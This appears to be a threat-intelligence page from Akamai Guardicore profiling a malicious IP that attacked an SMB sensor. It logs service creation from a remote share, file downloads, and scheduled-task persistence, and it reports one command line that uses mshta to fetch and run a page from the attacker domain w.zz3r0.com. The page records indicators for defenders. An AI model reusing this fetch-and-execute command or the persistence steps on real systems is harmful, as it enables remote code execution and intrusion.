Cyber Threat Intelligence

Discover malicious IPs and domains with Akamai Guardicore Segmentation

IP Address: 103.67.96.107Malicious

IP Address: 103.67.96.107Malicious

This IP address attempted an attack on a machine in our threat sensors network

Threat Information

Role

Attacker, Scanner

Services Targeted

SMB

Tags

DNS Query Access Suspicious Domain Service Stop Scheduled Task Creation Access Share SMB Share Connect Service Start File Operation By CMD CMD SMB Null Session Login Successful SMB Login Download File Service Deletion SMB Service Creation Execute from Share

Associated Attack Servers

w.zz3r0.com

Basic Information

IP Address

103.67.96.107

Domain

-

ISP

-

Country

China

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Akamai Guardicore Segmentation

2023-12-18

Last seen in Akamai Guardicore Segmentation

2023-12-18

What is Akamai Guardicore Segmentation
Akamai Guardicore Segmentation is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Akamai Guardicore Segmentation generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

A user logged in using SMB with the following username: Administrator - Authentication policy: Reached Max Attempts

Successful SMB Login

c:\windows\system32\services.exe installed and started \\server-backup\c$\hiwhwiox.exe as a service named vBTA under service group None

Service Start Service Creation

hiwhwiox.exe was executed from the remote share \\server-backup\c$

Execute from Share

C:\WINDOWS\Temp\svchost.exe was downloaded

Download File

A user logged in using SMB from NULL with the following username: Administrator - Authentication policy: Previously Approved User 5 times

Successful SMB Login

C:\KwEYsgEf.exe was downloaded

Download File

kweysgef.exe was executed from the remote share \\server-backup\c$

Execute from Share

c:\windows\system32\services.exe installed and started \\server-backup\c$\kweysgef.exe as a service named HgVu under service group None

Service Start Service Creation

C:\windows\temp\tmp.vbs was downloaded

Download File

Service HgVu was stopped

Service Stop

C:\EnNhaPRU.exe was downloaded

Download File

The command line C:\WINDOWS\system32\cmd.exe /c mshta http://w.zz3r0.com/page.html?pSERVER-BACKUP was scheduled to run by modifying C:\WINDOWS\Tasks\Autocheck.job

Process c:\windows\system32\mshta.exe attempted to access suspicious domains: w.zz3r0.com

DNS Query Access Suspicious Domain

The command line c:\windows\tVvKvy.exe was scheduled to run by modifying C:\WINDOWS\Tasks\Autostart.job

The command line c:\windows\TryWET.exe was scheduled to run by modifying C:\WINDOWS\Tasks\escan.job

Connection was closed due to timeout

Associated Files

C:\AbAmTBLR.exe

SHA256: 3c2fe308c0a563e06263bbacf793bbe9b2259d795fcc36b953793a7e499e7f71

56320 bytes